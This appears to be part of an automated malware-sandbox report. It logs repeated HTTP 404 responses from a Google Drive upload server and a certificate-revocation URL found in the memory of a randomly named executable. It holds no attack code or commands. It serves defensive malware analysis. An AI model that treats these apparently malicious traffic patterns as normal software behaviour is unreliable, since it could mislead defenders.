Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgTxrKg_PRcbJuMiP9sWAXU45uDqcUXmDcebcjGHi5kR3BhScNA5rP936s04pD8kdGx7Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:19 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-dsAg3u2m1n6G9y7LcDmY-A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5fZLTZMvvAK6xJxCXVMWo0ALSuyc8p4cXLMX1B9WfDre_7bi_eVaENdNN0gvaULsE5Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:30 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: script-src 'nonce--MbIMg8M0Mr0djtKj4o1Nw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5SHfOai1a0h7QW1V-BQfkOms-9u5QPqmXUzlupK8-GYJHLCAp0Fcaw8L5dmHc999FGContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:41 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: script-src 'nonce-tpo13ul6SnSk2J4xPFQsHg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4rpgtBfhYJB1A2KOau2u4CO-QRuHFjT_6hYVOEdy7y6IWSG3VOcTAoCXXnwOQqIbjdContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:36:53 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-bu_VVRdt6hU3qlDZVPM7fA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7Wtk9gHFrryruSlyIDc4g21IdKj_2V246s1RBlhnI9JYQz1PfjSiIMqY8kmnX-JhxEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:04 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-z0XLASyq9bl-uqtYbMOkmg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistCross-Origin-Opener-Policy: same-originContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgT3RiN9ZxCtdSWdsf14TfbGiPZL38YNsLWgeMIBhPPTBA-DwoktkUs6bz4Xg-LUbdT8y5WTUBkContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:15 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-drEtOWCVekWEL3C9TKVEBw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5qtrPtrf2Pn6Vn6erPGfFCrkflvGsQd_kdKlUnUPCLe7jrcNdZIus4srMDKxPmQQYPContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:26 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-jvvcYuxu1kv3cttYFuUR5g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFIdbgQG8UH1SaxGn2miBV8IRlCvItB0d_hZKuhnxm_mgyjbcBS_pGVYwi70r53PS1f8OKE9Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:37 GMTCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'nonce-SNSH-tzagvYScy3jlsUV8w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4VlvnoEekSOfmMSxe5xbyRRgA3NbP9YSK1vrPVVLQnQJXVfTpZ7cs91oAyXGZeO9sDContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:37:48 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-d59Pk4tclHO7Lv-r60pu_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC59sotPYdc6k18dPqK7hPyfDpAs3BS1ns8BEg1Q4A2wuXhM8_BmqZhtek_Pz-QZuwQRContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:00 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-cjjRN4_ZjqFy-a7rYTDLUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5XJJtrVA6kNHjGAk7wjc16t8MWDfSPpR2BwqlHcwg9ctq4yD-dG1a02ZyxeP2DNeVaJDB1k9gContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:11 GMTContent-Security-Policy: script-src 'nonce-JmpaSkKhCT82CkoBuI9M0Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4USTthsUGV3EuylFkh-2vBtRRMRvC6AOV7JyO0IW9kDGcc7Nz3811iyd4SSUlZyezBeVPBSoEContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:22 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-f1wcMSF50eix_uAYV4hNAQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6VT7SqsEAXFXI3gxlBVIYxVvkTmYV-99KGo9FoVCTCN1ocLk0vaLGYUmzOLOMuNqhgContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:33 GMTContent-Security-Policy: script-src 'nonce-ewITGIgRhDbS9Uenfm61xg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6u792ajz53euqYAGQY-ZaelbL6ApheVv0IPHtrssMzWXFV8CBBAp_2QCgdUTo85lJ4Content-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Fri, 10 Jan 2025 14:38:44 GMTContent-Security-Policy: script-src 'nonce--iuWKS7bn5xuXfLW05SApA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlistContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlistAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: nRNzqQOQwk.exe, 00000001.00000003.15233985037.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15580218463.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531658810.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.15233856736.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000002.16916833797.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845952675.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12965484524.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12853316877.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13077401848.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968616030.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419238478.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14419436535.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13968482023.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16474207406.000000000683F000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.13071150715.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12959116605.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.12845828650.0000000006840000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.16473999157.000000000683B000.00000004.00000020.00020000.00000000.sdmp, nRNzqQOQwk.exe, 00000001.00000003.14531787161.000000000683F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
